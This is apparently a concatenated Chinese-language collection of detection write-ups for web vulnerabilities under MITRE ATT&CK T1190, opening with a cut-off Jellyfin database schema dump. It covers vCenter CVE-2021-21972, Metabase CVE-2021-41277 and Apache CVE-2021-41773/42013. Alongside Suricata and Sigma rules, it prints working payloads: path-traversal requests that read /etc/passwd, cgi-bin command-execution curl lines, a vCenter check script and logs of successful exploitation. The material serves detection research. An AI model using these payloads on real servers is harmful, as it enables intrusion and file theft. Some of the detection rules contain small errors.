    "DayOfWeek" INTEGER NOT NULL,
    "StartHour" REAL NOT NULL,
    "EndHour" REAL NOT NULL,
    CONSTRAINT "FK_AccessSchedules_Users_UserId" FOREIGN KEY ("UserId") REFERENCES "Users" ("Id") ON DELETE CASCADE
)..........tableUsersUsers.CREATE TABLE "Users" (
    "Id" TEXT NOT NULL CONSTRAINT "PK_Users" PRIMARY KEY,
    "Username" TEXT NOT NULL,
    "Password" TEXT NULL,
    "EasyPassword" TEXT NULL,
    "MustUpdatePassword" INTEGER NOT NULL,
    "AudioLanguagePreference" TEXT NULL,
    "AuthenticationProviderId" TEXT NOT NULL,
    "PasswordResetProviderId" TEXT NOT NULL,
    "InvalidLoginAttemptCount" INTEGER NOT NULL,
    "LastActivityDate" TEXT NULL,
    "LastLoginDate" TEXT NULL,
    "LoginAttemptsBeforeLockout" INTEGER NULL,
    "SubtitleMode" INTEGER NOT NULL,
    "PlayDefaultAudioTrack" INTEGER NOT NULL,
    "SubtitleLanguagePreference" TEXT NULL,
    "DisplayMissingEpisodes" INTEGER NOT NULL,
    "DisplayCollectionsView" INTEGER NOT NULL,
    "EnableLocalPassword" INTEGER NOT NULL,
    "HidePlayedInLatest" INTEGER NOT NULL,
    "RememberAudioSelections" INTEGER NOT NULL,
    "RememberSubtitleSelections" INTEGER NOT NULL,
    "EnableNextEpisodeAutoPlay" INTEGER NOT NULL,
    "EnableAutoLogin" INTEGER NOT NULL,
    "EnableUserPreferenceAccess" INTEGER NOT NULL,
    "MaxParentalAgeRating" INTEGER NULL,
    "RemoteClientBitrateLimit" INTEGER NULL,
    "InternalId" INTEGER NOT NULL,
    "SyncPlayAccess" INTEGER NOT NULL,
    "RowVersion" INTEGER NOT NULL
))...=...indexsqlite_autoindex_Users_1Users.P...++.Ytablesqlite_sequencesqlite_sequence.CREATE TABLE sqlite_sequence(name,seq).)...%%...tableActivityLogsActivityLogs.CREATE TABLE "ActivityLogs" (
    "Id" INTEGER NOT NULL CONSTRAINT "PK_ActivityLogs" PRIMARY KEY AUTOINCREMENT,
    "Name" TEXT NOT NULL,
    "Overview" TEXT NULL,
    "ShortOverview" TEXT NULL,
    "Type" TEXT NOT NULL,
    "UserId" TEXT NOT NULL,
    "ItemId" TEXT NULL,
    "DateCreated" TEXT NOT NULL,
    "LogSeverity" INTEGER NOT NULL,
    "RowVersion" INTEGER NOT NULL
).X...77..Otable__EFMigrationsHistory__EFMigrationsHistory.CREATE TABLE "__EFMigrationsHistory" (
    "MigrationId" TEXT NOT NULL CONSTRAINT "PK___EFMigrationsHistory" PRIMARY KEY,
    "ProductVersion" TEXT NOT NULL
)I...]7..indexsqlite_autoindex___EFMigrationsHistory_1__EFMigrationsHistor
......
```
## 检测规则/思路
### Suricata规则
```
s
alert http any any -> any any (msg:"CVE-2021-21402-Jellyfin任意文件读取";flow:established,to_server;content:"GET";http_method;content:"/Audio/";pcre:"/hls/";pcre:"/stream/";http_uri;reference:url,www.cnblogs.com/0day-li/p/14637768.html;classtype:web-application-attck;sid:3002021;rev:1;)
```
### 建议
流量+安全设备比较容易检测到此攻击行为。
## 参考推荐
MITRE-ATT&CK-T1190

Jellyfin任意文件读取漏洞(CVE-2021-21402)



================================================
FILE: Web/2021/T1190-CVE-2021-21972 Vmware vcenter未授权任意文件读取:RCE漏洞.md
================================================
# T1190-CVE-2021-21972 Vmware vcenter未授权任意文件/RCE漏洞
## 来自ATT&CK的描述
使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站,但是可以包括数据库(例如SQL),标准服务(例如SMB 或SSH)以及具有Internet可访问开放的任何其他应用程序,例如Web服务器和相关服务。根据所利用的缺陷,这可能包括“利用防御防卫”。
如果应用程序托管在基于云的基础架构上,则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。
对于网站和数据库,OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。
## 测试案例
2021年02月24日,某些平台监测到 Vmware官方发布了vCenter Server安全更新,修复了vSphereClient (HTML5)在vCenter Server插件vRealizeOperations(vROps)中的一个远程代码执行漏洞(CVE-2021-21972)。VMware  vCenter Server是美国威睿(VMware)公司的一套服务器和虚拟化管理软件。该软件提供了一个用于管理VMware vCenter环境的集中式平台,可自动实施和交付虚拟基础架构。攻击者可通过访问web管理端向vCenter Server发送请求从而在操作系统上执行任意命令或者上传一个webshell到vcenter服务器的任意位置执行
具有网络访问端口443的恶意行为者可能会利用此问题在托管vCenter Server的基础操作系统上以不受限制的特权执行命令。这会影响VMware vCenter Server(7.0 U1c之前的7.x,6.7 U3l之前的6.7和6.5 U3n之前的6.5)和VMware Cloud Foundation(4.2.3之前的4.x和3.10.1.2之前的3.x)。
此外,VMware还修复了VMware ESXi中一个重要的堆溢出漏洞(CVE-2021-21974)与VMware vSphere中的一个SSRF漏洞(CVE-2021-21973)。
### 0x1 影响版本
```
yml
VMware vCenter Server 7.0系列 < 7.0.U1c
VMware vCenter Server 6.7系列 < 6.7.U3l
VMware vCenter Server 6.5系列 < 6.5 U3n
VMware ESXi 7.0系列 < ESXi70U1c-17325551
VMware ESXi 6.7系列 < ESXi670-202102401-SG
VMware ESXi 6.5系列 < ESXi650-202102101-SG
```
### 0x2 漏洞详情
可参考:
CVE-2021-21972 Vmware vcenter未授权任意文件/RCE漏洞:
CVE-2021-21972 vCenter 远程命令执行漏洞分析:
CVE-2021-21972-vCenter-6.5-7.0-RCE-POC:
## 检测日志
HTTP.log,主要是基于POC报文进行检测,POC如下:
```
python
import requests
from requests.packages import urllib3
urllib3.disable_warnings()
import argparse
import os
def url():
  parser = argparse.ArgumentParser(description='vCenter 6.5-7.0 RCE 漏洞复现(CVE-2021-21972)POC')
  parser.add_argument('target_url',type=str,help='The target address,example: https://192.168.140.153:4445')
  args = parser.parse_args()
  global url
  url = args.target_url
  if url.startswith('http://') or url.startswith('https://'):
   pass
  else:
   print('[-]Please include http:// or https:// in the URL!!')
   os._exit(0)
  if url.endswith('/'):
   url = url[:-1]
  print('[+]author:chenchen')
  print("[-]目标地址:",url)
  print("[-]正在执行漏洞检测...")
  return url
def poc():
 headers={
  'User-Agent':'Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.75 Mobile Safari/537.36',
  "Content-Type":"application/x-www-form-urlencoded"
 }
 url_v = url + '/ui/vropspluginui/rest/services/updateova'
 try:
  code = requests.get(url=url_v,headers=headers,timeout=4,verify=False).status_code
  print('status_code:',code)
  if code == 405:
   print('[+]漏洞存在')
  else:
   print('[-]漏洞不存在')
 except:
  print('[-]发生错误')
if __name__ == '__main__':
 url()
 poc()
```
## 测试复现
可参考漏洞详情部分
## 检测规则/思路
### sigma规则
```
yml
title: CVE-2021-21972 Vmware vcenter未授权任意文件/RCE漏洞
status: 测试状态
description: 基于HTTP日志进行检测
references:
    - https://cert.360.cn/report/detail?id=62aac9b181bcfcb2b5faf33c6907a3dc
    - https://github.com/QmF0c3UK/CVE-2021-21972-vCenter-6.5-7.0-RCE-POC/blob/main/CVE-2021-21972.py
logsource:
    category: webserver #http_log
detection:
    selection:
        cs-method: 'POST' #请求方法为post
        c-uri: #请求url中包含以下路径
            - '/ui/vropspluginui/rest/services/uploadova'
    condition: selection
fields:
    - c-ip
    - c-dns
falsepositives:
    - OVA uploads to your VSphere appliance
level: high
```
### 建议
建议使用HTTP流量+安全设备(如天眼等)进行检测分析判断攻击是否成功。
## 参考推荐
MITRE-ATT&CK-T1190

CVE-2021-21972 Vmware vcenter未授权任意文件/RCE漏洞

CVE-2021-21972 vCenter远程命令执行漏洞分析

CVE-2021-21972-vCenter-6.5-7.0-RCE-POC



================================================
FILE: Web/2021/T1190-CVE-2021-41277-Metabase 敏感信息泄露漏洞.md
================================================
# T1190-CVE-2021-41277-Metabase敏感信息泄露漏洞
## 来自ATT&CK的描述
使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站,但是可以包括数据库(例如SQL),标准服务(例如SMB 或SSH)以及具有Internet可访问开放的任何其他应用程序,例如Web服务器和相关服务。根据所利用的缺陷,这可能包括“利用防御防卫”。
如果应用程序托管在基于云的基础架构上,则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。
对于网站和数据库,OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。
## Metabase敏感信息泄露漏洞(CVE-2021-41277)
metabase是一个简单、开源的数据分析平台。
在受影响的版本中,自定义GeoJSON地图(admin->settings->maps->custom maps->add a map)操作缺少权限验证,攻击者可通过该漏洞获得敏感信息。
### 影响版本
影响版本:
```
yml
metabase version < 0.40.5
metabase version >= 1.0.0, < 1.40.5
```
FOFA查询语句:app="metabase"
### 测试案例
POC:/api/geojson?url=file:/etc/passwd
### 检测日志
HTTP.log
### 测试复现
```
yml
GET /api/geojson?url=file:/etc/passwd HTTP/1.1
Host: *.*.*.*:8888
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: keep-alive
Upgrade-Insecure-Requests: 1
HTTP/1.1 200 OK
Date: Fri, 26 Nov 2021 12:34:30 GMT
X-Frame-Options: DENY
X-XSS-Protection: 1; mode=block
Last-Modified: Fri, 26 Nov 2021 20:34:30 +0800
Strict-Transport-Security: max-age=31536000
Set-Cookie: metabase.DEVICE=dd8c913f-87fb-483f-9e65-623657a0ca5a;HttpOnly;Path=/;SameSite=Lax;Expires=Sun, 17 Nov 2041 12:06:40 +0800
X-Permitted-Cross-Domain-Policies: none
Cache-Control: max-age=0, no-cache, must-revalidate, proxy-revalidate
X-Content-Type-Options: nosniff
Content-Security-Policy: default-src 'none'; script-src 'self' 'unsafe-eval' https://maps.google.com https://apis.google.com https://www.google-analytics.com https://*.googleapis.com *.gstatic.com   'sha256-lMAh4yjVuDkQ9NqkK4H+YHUga+anpFs5JAuj/uZh0Rs=' 'sha256-sMNbXyc1lLzhHbH/CKs11HIQMnMkZAN2eA99WhJeEC0=' 'sha256-JJa56hyDfUbgNfq+0nq6Qs866JKgZ/+qCq2pkDJED8k='; child-src 'self' https://accounts.google.com; style-src 'self' 'unsafe-inline'; font-src 'self' ; img-src * 'self' data:; connect-src 'self' metabase.us10.list-manage.com ; manifest-src 'self';  frame-ancestors 'none';
Content-Type: application/json
Content-Encoding: gzip
Expires: Tue, 03 Jul 2001 06:00:00 GMT
Transfer-Encoding: chunked
Server: Jetty(9.4.32.v20200930)
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
systemd-bus-proxy:x:999:998:systemd Bus Proxy:/:/sbin/nologin
systemd-network:x:192:192:systemd Network Management:/:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
polkitd:x:998:997:User for polkitd:/:/sbin/nologin
tss:x:59:59:Account used by the trousers package to sandbox the tcsd daemon:/dev/null:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
postfix:x:89:89::/var/spool/postfix:/sbin/nologin
chrony:x:997:995::/var/lib/chrony:/sbin/nologin
ntp:x:38:38::/etc/ntp:/sbin/nologin
nscd:x:28:28:NSCD Daemon:/:/sbin/nologin
tcpdump:x:72:72::/:/sbin/nologin
ops:x:1000:1000::/home/ops:/bin/bash
service:x:1001:1001::/home/service:/bin/bash
zabbix:x:1002:1002::/home/zabbix:/sbin/nologin
grafana:x:996:994:grafana user:/usr/share/grafana:/sbin/nologin
mysql:x:995:1003::/usr/local/mysql:/sbin/nologin
saslauth:x:994:76:Saslauthd user:/run/saslauthd:/sbin/nologin
metabase:x:1003:1004::/home/metabase:/bin/bash
redis:x:993:991:Redis Database Server:/var/lib/redis:/sbin/nologin
nginx:x:992:990:Nginx web server:/var/lib/nginx:/sbin/nologin
openvpn:x:991:989:OpenVPN:/etc/openvpn:/sbin/nologin
```
### 检测规则/思路
Suricata规则
```
s
alert http any any -> any any (msg:"CVE-2021-41277-rsq";flow:established,to_server;content:"GET";http_method;content:"/api/geojson?url=file:/etc/passwd";http_uri;reference:url,github.com/Seals6/CVE-2021-41277;flowbits:set,first_rsq;noalert;classtype:web-application-attck;sid:1;rev:1;)
alert http any any -> any any (msg:"CVE-2021-41277-Metabase敏感信息泄露漏洞";flow:established,to_client;content:"200";http_stat_code;content:"/bin/bash";http_server_body;flowbits:isset,first_rsq;sid:2;rev:1;)
```
## 备注
本案例仅做防御检测研究,请勿用于非法用途。
## 参考推荐
MITRE-ATT&CK-T1190

CVE-2021-41277-POC



================================================
FILE: Web/2021/T1190-CVE-2021-41773-Apache HTTP Server 2.4.49 路径穿越漏洞.md
================================================
# T1190-CVE-2021-41773-Apache HTTP Server 2.4.49路径穿越漏洞
## 来自ATT&CK的描述
使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站,但是可以包括数据库(例如SQL),标准服务(例如SMB 或SSH)以及具有Internet可访问开放的任何其他应用程序,例如Web服务器和相关服务。根据所利用的缺陷,这可能包括“利用防御防卫”。
如果应用程序托管在基于云的基础架构上,则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。
对于网站和数据库,OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。
## 测试案例
Apache HTTP Server是Apache基金会开源的一款流行的HTTP服务器。在其2.4.49版本中,引入了一个路径穿越漏洞,满足下面两个条件的Apache服务器将会受到影响:
版本等于2.4.49
穿越的目录允许被访问,比如配置了Require all granted。(默认情况下是不允许的)
攻击者利用这个漏洞,可以读取位于Apache服务器Web目录以外的其他文件,或者读取Web目录中的脚本文件源码,或者在开启了cgi或cgid的服务器上执行任意命令。
## 漏洞详情
使用如下CURL命令来发送Payload(注意其中的/icons/必须是一个存在且可访问的目录):
```
yml
curl -v --path-as-is http://your-ip:8080/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
```
可见,成功读取到/etc/passwd:
```
yml
*   Trying 10.211.55.10...
* TCP_NODELAY set
* Connected to 10.211.55.10 (10.211.55.10) port 8080 (#0)
> GET /icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd HTTP/1.1
> Host: 10.211.55.10:8080
> User-Agent: curl/7.64.1
> Accept: */*
>
< HTTP/1.1 200 OK
< Date: Sun, 10 Oct 2021 03:40:43 GMT
< Server: Apache/2.4.49 (Unix)
< Last-Modified: Mon, 27 Sep 2021 00:00:00 GMT
< ETag: "39e-5cceec7356000"
< Accept-Ranges: bytes
< Content-Length: 926
<
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
* Connection #0 to host 10.211.55.10 left intact
* Closing connection 0
```
在服务端开启了cgi或cgid这两个mod的情况下,这个路径穿越漏洞将可以执行任意命令:
```
yml
curl -v --data "echo;id" 'http://your-ip:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh'
```
```
yml
*   Trying 10.211.55.10...
* TCP_NODELAY set
* Connected to 10.211.55.10 (10.211.55.10) port 8080 (#0)
> POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1
> Host: 10.211.55.10:8080
> User-Agent: curl/7.64.1
> Accept: */*
> Content-Length: 7
> Content-Type: application/x-www-form-urlencoded
>
* upload completely sent off: 7 out of 7 bytes
< HTTP/1.1 200 OK
< Date: Sun, 10 Oct 2021 03:45:29 GMT
< Server: Apache/2.4.49 (Unix)
< Transfer-Encoding: chunked
<
uid=1(daemon) gid=1(daemon) groups=1(daemon)
* Connection #0 to host 10.211.55.10 left intact
* Closing connection 0
```
## 检测日志
HTTP.log
```
http.log
GET /icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd HTTP/1.1
Host: 10.211.55.10:8080
User-Agent: curl/7.64.1
Accept: */*
HTTP/1.1 200 OK
Date: Sun, 10 Oct 2021 03:36:46 GMT
Server: Apache/2.4.49 (Unix)
Last-Modified: Mon, 27 Sep 2021 00:00:00 GMT
ETag: "39e-5cceec7356000"
Accept-Ranges: bytes
Content-Length: 926
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
```
```
http.log
POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1
Host: 10.211.55.10:8080
User-Agent: curl/7.64.1
Accept: */*
Content-Length: 7
Content-Type: application/x-www-form-urlencoded
echo;idHTTP/1.1 200 OK
Date: Sun, 10 Oct 2021 03:36:51 GMT
Server: Apache/2.4.49 (Unix)
Transfer-Encoding: chunked
2d
uid=1(daemon) gid=1(daemon) groups=1(daemon)
0
```
## 测试复现
可参考漏洞详情部分
## 检测规则/思路
### sigma规则
```
yml
title: CVE-2021-41773-Apache HTTP Server 2.4.49路径穿越漏洞
status: 测试状态
description: 基于HTTP日志进行检测
references:
    - https://github.com/vulhub/vulhub/blob/master/httpd/CVE-2021-41773/README.zh-cn.md
    - https://www.t00ls.cc/viewthread.php?tid=62967&highlight=CVE-2021-41773
detection:
    selection1:
        cs-method: 'POST' #请求方法为POST
        c-uri: #请求url中包含以下路径
            - '.%2e/.%2e/.%2e/.%2e'
    selection2:
        cs-method: 'GET' #请求方法为GET
        c-uri: '.%2e/%2e%2e/%2e%2e/%2e%2e/'
    condition: selection
fields:
    - c-ip
    - c-dns
falsepositives:
    - 观察返回状态码是否为200 OK。
level: high
```
### 建议
建议使用HTTP流量+安全设备(如天眼等)进行检测分析判断攻击是否成功。
## 参考推荐
MITRE-ATT&CK-T1190

CVE-2021-41773 Apache漏洞分析及RCE思路

Apache HTTP Server 2.4.49 路径穿越漏洞(CVE-2021-41773)



================================================
FILE: Web/2021/T1190-CVE-2021-42013-Apache HTTP Server 2.4.50 路径穿越漏洞.md
================================================
# T1190-CVE-2021-42013-Apache HTTP Server 2.4.50路径穿越漏洞
## 来自ATT&CK的描述
使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站,但是可以包括数据库(例如SQL),标准服务(例如SMB 或SSH)以及具有Internet可访问开放的任何其他应用程序,例如Web服务器和相关服务。根据所利用的缺陷,这可能包括“利用防御防卫”。
如果应用程序托管在基于云的基础架构上,则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。
对于网站和数据库,OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。
## 测试案例
Apache HTTP Server是Apache基金会开源的一款流行的HTTP服务器。Apache官方在2.4.50版本中对2.4.49版本中出现的目录穿越漏洞CVE-2021-41773进行了修复,但这个修复是不完整的,CVE-2021-42013是对补丁的绕过。
攻击者利用这个漏洞,可以读取位于Apache服务器Web目录以外的其他文件,或者读取Web目录中的脚本文件源码,或者在开启了cgi或cgid的服务器上执行任意命令。
这个漏洞可以影响Apache HTTP Server 2.4.49以及2.4.50两个版本。
## 漏洞详情
使用CVE-2021-41773中的Payload已经无法成功利用漏洞了,说明2.4.50进行了修复。
但我们可以使用.%%32%65进行绕过(注意其中的/icons/必须是一个存在且可访问的目录):
```
yml
curl -v --path-as-is http://your-ip:8080/icons/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd
```
可见,成功读取到/etc/passwd:
```
yml
curl -v --path-as-is http://10.211.55.10:8080/icons/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd
*   Trying 10.211.55.10...
* TCP_NODELAY set
* Connected to 10.211.55.10 (10.211.55.10) port 8080 (#0)
> GET /icons/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd HTTP/1.1
> Host: 10.211.55.10:8080
> User-Agent: curl/7.64.1
> Accept: */*
>
< HTTP/1.1 200 OK
< Date: Sun, 10 Oct 2021 05:33:12 GMT
< Server: Apache/2.4.50 (Unix)
< Last-Modified: Mon, 27 Sep 2021 00:00:00 GMT
< ETag: "39e-5cceec7356000"
< Accept-Ranges: bytes
< Content-Length: 926
<
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
* Connection #0 to host 10.211.55.10 left intact
* Closing connection 0
```
在服务端开启了cgi或cgid这两个mod的情况下,这个路径穿越漏洞将可以执行任意命令:
```
yml
curl -v --data "echo;id" 'http://your-ip:8080/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh'
```
```
yml
curl -v --data "echo;id" 'http://10.211.55.10:8080/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh'
*   Trying 10.211.55.10...
* TCP_NODELAY set
* Connected to 10.211.55.10 (10.211.55.10) port 8080 (#0)
> POST /cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh HTTP/1.1
> Host: 10.211.55.10:8080
> User-Agent: curl/7.64.1
> Accept: */*
> Content-Length: 7
> Content-Type: application/x-www-form-urlencoded
>
* upload completely sent off: 7 out of 7 bytes
< HTTP/1.1 200 OK
< Date: Sun, 10 Oct 2021 05:34:09 GMT
< Server: Apache/2.4.50 (Unix)
< Transfer-Encoding: chunked
<
uid=1(daemon) gid=1(daemon) groups=1(daemon)
* Connection #0 to host 10.211.55.10 left intact
* Closing connection 0
```
## 检测日志
HTTP.log
```
http.log
GET /icons/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd HTTP/1.1
Host: 10.211.55.10:8080
User-Agent: curl/7.64.1
Accept: */*
HTTP/1.1 200 OK
Date: Sun, 10 Oct 2021 05:39:09 GMT
Server: Apache/2.4.50 (Unix)
Last-Modified: Mon, 27 Sep 2021 00:00:00 GMT
ETag: "39e-5cceec7356000"
Accept-Ranges: bytes
Content-Length: 926
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
```
```
http.log
POST /cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh HTTP/1.1
Host: 10.211.55.10:8080
User-Agent: curl/7.64.1
Accept: */*
Content-Length: 7
Content-Type: application/x-www-form-urlencoded
echo;idHTTP/1.1 200 OK
Date: Sun, 10 Oct 2021 05:39:11 GMT
Server: Apache/2.4.50 (Unix)
Transfer-Encoding: chunked
2d
uid=1(daemon) gid=1(daemon) groups=1(daemon)
0
```
## 测试复现
可参考漏洞详情部分
## 检测规则/思路
### sigma规则
```
yml
title: CVE-2021-42013-Apache HTTP Server 2.4.50路径穿越漏洞
status: 测试状态
description: 基于HTTP日志进行检测
references:
    - https://github.com/vulhub/vulhub/blob/master/httpd/CVE-2021-42013/README.zh-cn.md
detection:
    selection:
        cs-method:
            - 'GET' #请求方法为GET
            - 'POST' #请求方法为POST
        c-uri: '.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65'
    condition: selection
fields:
    - c-ip
    - c-dns
falsepositives:
    - 观察返回状态码是否为200 OK。
level: high
```
也可以根据自己实际需求,编写suricata规则。
流量包下载位置:
提取码:0wff
### 建议
建议使用HTTP流量+安全设备(如天眼等)进行检测分析判断攻击是否成功。
## 参考推荐
MITRE-ATT&CK-T1190

Apache HTTP Server 2.4.50 路径穿越漏洞(CVE-2021-42013)



================================================
FILE: Web/2021/T1190-CVE-2021-43798-Grafana任意文件读取漏洞.md
================================================
# T1190-CVE-2021-43798 Grafana 任意文件读取漏洞
## 来自ATT&CK的描述
使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站,但是可以包括数据库(例如SQL),标准服务(例如SMB 或SSH)以及具有Internet可访问开放的任何其他应用程序,例如Web服务器和相关服务。根据所利用的缺陷,这可能包括“利用防御防卫”。
如果应用程序托管在基于云的基础架构上,则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。
